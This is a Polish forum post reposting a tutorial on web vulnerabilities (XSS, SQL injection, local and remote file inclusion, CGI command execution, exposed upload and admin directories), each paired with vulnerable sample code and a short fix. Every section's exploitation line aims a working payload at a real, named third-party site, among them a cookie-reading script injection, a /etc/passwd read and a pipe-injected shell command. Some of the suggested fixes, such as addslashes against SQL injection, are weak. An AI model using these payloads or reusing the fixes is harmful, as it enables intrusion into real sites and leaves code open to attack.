Pokaż wyniki 1 do 6 z 6

Temat: Błędy na www - wykorzystanie/zabezpieczenie

Threaded View

Previous Post Previous Post   Next Post Next Post
  1. #1

    Domyślnie Błędy na www - wykorzystanie/zabezpieczenie

    Temat nie został napisany przeze mnie ale pomyślałem że komuś może się przydać.

    Błędy na www - wykorzystanie/zabezpieczenie


    Spis treści
    - Wstęp
    - XSS
    - SQL
    - LFI
    - RFI
    - RCE
    - Bypass
    - Zakończenie

    __________________________________________________ ________________________

    .: Wstęp
    W artykule tym przedstawię znane mi błędy, występujące na stronach www, jak i opiszę na czym one polegają, jak je wykorzystać i jak się przed nimi zabezpieczyć.
    Informacje należy wykorzystać do zbadania i ewentualnego zabezpieczenia własnej witryny.

    __________________________________________________ ________________________

    .: XSS - Cross-Site Scripting
    Błąd ten pozwala na wstawienie i wykonanie kodu HTML lub JS na stronie. Najczęściej wykorzystuje się go, w celu przejęcia cookies. Polega on na braku filtracji danych pochodzących od użytkownika. Zinterpretujmy stronę, na której jest wyszukiwarka (Błąd jest na tyle nie groźny, że można go przedstawić na przykładzie), [ www ] . W źródle strony widnieje kod:

    <form method="get">
    <input type="text" name="searchFor" value="" />
    <button type="submit">Search</button>
    </form>
    Wyszukajmu teraz słowa 'qwerty'. Co się stało ? Link teraz wygląda tak:

    avast.com/eng/search.php?searchFor=qwerty

    A w polu input pojawiła się wartość value

    <input type="text" name="searchFor" value="qwerty" />
    Najprawdopodobniej kod tej strony wygląda tak

    <input type="text" name="searchFor" value="<?php $_GET['searchFor']; ?>" />
    Więc wystarczy zamknąć pole input aby wykonał się nasz kod, przykładowo wpisujemy:
    ">qwerty
    czego wynikiem będzie kod widniejący w źródle

    <input type="text" name="searchFor" value="">qwerty" />
    Wykorzystanie:avast.com/eng/search.php?searchFor=%22%3E%3Cscript%3Ealert%28doc ument.cookie%29%3B%3C%2Fscript%3E

    Zabezpieczenie:

    value="<?php htmlspecialchars($_GET['searchFor']); ?>"
    __________________________________________________ ________________________

    .: SQL injection
    Błąd wynikający z niedostatecznego lub braku filtrowania danych pochodzących od użytkownika, które zostają wstawione do zapytania SQL. Błąd ten można spotkać najczęściej pod zmienną 'id' w linku, gdzie to numer przypisany do zmiennej, odpowiada numerowi id w bazie danych. Najczęściej występuje w skryptach wyświetlających newsy lub artykułu.

    $artid = $_GET['id'];
    $ideq = mysql_query("SELECT author, text FROM article WHERE id='".$artid."'");
    Wystarczy więc sprawić, aby to zapytanie się nie wykonało i dopisać własne. Przykładowo nie ma prawa być id=-1 więc sprawdźmy co się stanie
    gdy je wpiszemy [ www ] .

    Wykorzystanie:http://www.kzt.oswiata.org.pl/n.php?...+*+from+news/*

    Zabezpieczenie:

    mysql_query("SELECT author, text FROM article WHERE id='".addslashes($artid)."'");
    __________________________________________________ ________________________

    .: LFI - Local File Include
    Błąd wynikający z nieprzemyślanego zastosowania funkcji fread(), file(), get_content(), lub include().
    Jak sama nazwa wskazuje, pozwala on na wyświetlenie na stronie pliku, do którego ścieżka znajduje się w adresie URL. Błędu tego nie widać w źródle, gdyż jest on błędem w kodzie php. Przykładowy kod zawierający błąd LFI może wyglądać następująco.

    <?php

    $file = $_GET['site'];

    if(file_exist($file))
    {
    $show = fread(fopen($file, "r"), filesize($file));
    echo $show;
    }

    else echo "Error 404";
    ?>
    Wykorzystanie:www.aerodinamica.net/artigo.php?txt=/etc/passwd

    Zabezpieczenie:

    Najlepiej omijać przenoszenie ścieżek w linkach, a jeśli nie ma innej opcji, należałoby zdefiniować tablicę plików, które mogą być czytane.

    __________________________________________________ ________________________

    .: RFI - Remote File Include
    Błąd pozwala na wykonanie kodu PHP, po przez zaincludowanie pliku z innego servera. Jest to chyba najpopularniejszy błąd, znany również jako include bug.
    Polega on na braku filtracji zmiennych, przenoszonych w linku, które w rezultacie zostają wstawione do jednej z funkcji include(), include_once(), require(), require_once(). Najczęściej można spotkać następujący, błędny kod:

    <?php
    $site = $_GET['url'];

    switch($site)
    {
    case "about.php": include("site/$site"); break;
    // ....
    default: include($site); break;
    }
    ?>
    Wykorzystanie:http://www.osc-chauny.com/affiche.ph...tp://google.pl

    Zabezpieczenie:Tak jak w przypadku LFI

    __________________________________________________ ________________________

    .: RCE - Remote Command Execution
    Występujący w skryptach CGI, gdzie mało osób zdaje sobie sprawę, że funkcja open() pozwala na wykonanie unixowych poleceń.
    Spotyka się kod podobny to tego:

    use CGI;
    $input=CGI->new();
    $plik = $input->param('plik');
    open(FILE, $plik) or &diehtml("404");
    W ten czas wystarczy dopisać do adresu polecenie, obejmując je znakami '|', aby zostało wykonane.

    Wykorzystanie:http://www.scrove.com/cgi-bin/mods/a...tions.html|ls|

    Zabezpieczenie:Tablica ze sztywnymi ścieżkami.

    __________________________________________________ ________________________

    .: Bypass
    Jest to błąd, który charakteryzuje się totalnym brakiem zabezpieczeń formularzy przeznaczonych do uploadu plików, czy też możliwością wejścia do katalogu, który zawiera pliki konfiguracyjne lub panel administracyjny. W pierwszym momencie może wydawać się to śmieszne, ale są programiści, którzy pisząc upload zdjęć, dopuszczają pliki.php :wink:

    Wykorzystanie:www.antoniobasile.it/neuronblog/admin/

    Zabezpieczenie:.htaccess

    __________________________________________________ ________________________

    .: Zakończenie
    To już wszystko co miałem do przekazania w tej kwestii. Myślę, że artykuł, chodź krótki, pozwoli Ci odpowiednio zabezpieczyć stronę.

    Pozdrawiam

    autor: ζβτ
    źródło: http://www.haxite.org/index.php3?sit...ul_view&id=792
    Ostatnio edytowane przez Kapec : 07-12-2008 - 10:37

Podobne wątki

  1. Odpowiedzi: 25
    Autor: 01-31-2012, 09:57
  2. Wykorzystanie mocy obliczeniowej komputera ofiary
    By sic in forum Newbie - dla początkujących!
    Odpowiedzi: 9
    Autor: 05-27-2008, 10:26
  3. Zabezpieczenie WWW-PROBLEM
    By Iwan in forum Security
    Odpowiedzi: 7
    Autor: 05-16-2008, 21:51
  4. Jak ominac zabezpieczenie? Help
    By Wojdusz in forum Hacking
    Odpowiedzi: 4
    Autor: 12-24-2007, 13:20
  5. Zabezpieczenie systemu
    By Dominik in forum Linux
    Odpowiedzi: 16
    Autor: 08-20-2006, 23:59

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj